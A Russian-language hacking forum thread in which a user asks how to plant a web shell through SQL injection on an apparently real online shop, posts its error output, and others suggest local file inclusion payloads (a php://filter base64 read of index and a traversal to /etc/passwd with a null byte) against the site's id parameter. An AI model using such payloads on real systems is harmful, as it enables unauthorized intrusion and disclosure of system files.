шелл через sql

Discussion in 'Уязвимости' started by .Light., 2 Jan 2016.

  1. .Light.

    .Light. New Member

    Joined:
    12 Jul 2010
    Messages:
    197
    Likes Received:
    4
    Reputations:
    0
    Подскажите как можно залить шелл через скулю,не имея доступа к админке.Может есть софт?
     
  2. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,662
    Likes Received:
    887
    Reputations:
    363
    если у пользователя есть доступ к file_priv. это все описано в статьях
     
    _________________________
  3. .Light.

    .Light. New Member

    Joined:
    12 Jul 2010
    Messages:
    197
    Likes Received:
    4
    Reputations:
    0
    Что можно сделать с этим?

    Warning: require(includes/languages/.php): failed to open stream: No such file or directory in /home/piercing/data/www//shop/includes/application_top.php on line 291

    Fatal error: require(): Failed opening required 'includes/languages/.php' (include_path='.:/usr/local/share/pear') in /home/piercing/data/www//shop/includes/application_top.php on line 291
     
  4. .Light.

    .Light. New Member

    Joined:
    12 Jul 2010
    Messages:
    197
    Likes Received:
    4
    Reputations:
    0
    Можно по подробнее?
     
  5. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,662
    Likes Received:
    887
    Reputations:
    363
    у вас инклуд или что? покажите полностью запрос и ответ
     
    _________________________
  6. .Light.

    .Light. New Member

    Joined:
    12 Jul 2010
    Messages:
    197
    Likes Received:
    4
    Reputations:
    0
    http://www./shop/info.php?id=1'


    Warning: require(includes/languages/.php): failed to open stream: No such file or directory in/home/piercing/data/www//shop/includes/application_top.php on line 291

    Fatal error: require(): Failed opening required 'includes/languages/.php' (include_path='.:/usr/local/share/pear') in/home/piercing/data/www//shop/includes/application_top.php on line 291
     
  7. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,069
    Likes Received:
    1,565
    Reputations:
    40

    попробуй так

    http://www./shop/info.php?id=php://filter/convert.base64-encode/resource=../index
    или так
    http://www./shop/info.php?id=../../../etc/passwd%00
     
  8. .Light.

    .Light. New Member

    Joined:
    12 Jul 2010
    Messages:
    197
    Likes Received:
    4
    Reputations:
    0
    Тоже самое(
    Warning: require(includes/languages/.php): failed to open stream: No such file or directory in/home/piercing/data/www//shop/includes/application_top.php on line 291

    Fatal error: require(): Failed opening required 'includes/languages/.php' (include_path='.:/usr/local/share/pear') in/home/piercing/data/www//shop/includes/application_top.php on line 291
     
  9. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,662
    Likes Received:
    887
    Reputations:
    363
    _________________________
  10. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,069
    Likes Received:
    1,565
    Reputations:
    40
    Точно.
    Извиняюсь за лже показания, раз yarbabin говорит что нет уязвимости, значит её нету
     
  11. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,662
    Likes Received:
    887
    Reputations:
    363
    я не говорю, что её нет, но верно то, что гет параметр id никак не попадает в инклуд
     
    _________________________
  12. psihoz26

    psihoz26 Members of Antichat

    Joined:
    22 Nov 2010
    Messages:
    546
    Likes Received:
    159
    Reputations:
    324
    Вангую инклуд после SQLi
     
  13. psihoz26

    psihoz26 Members of Antichat

    Joined:
    22 Nov 2010
    Messages:
    546
    Likes Received:
    159
    Reputations:
    324
    Require и require_once это lfi
     
  14. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,781
    Likes Received:
    854
    Reputations:
    857
    Хм, встречал и другие вариации, когда только AFR. Я не путаю с readfile(), там реально был require
     
    _________________________
Loading...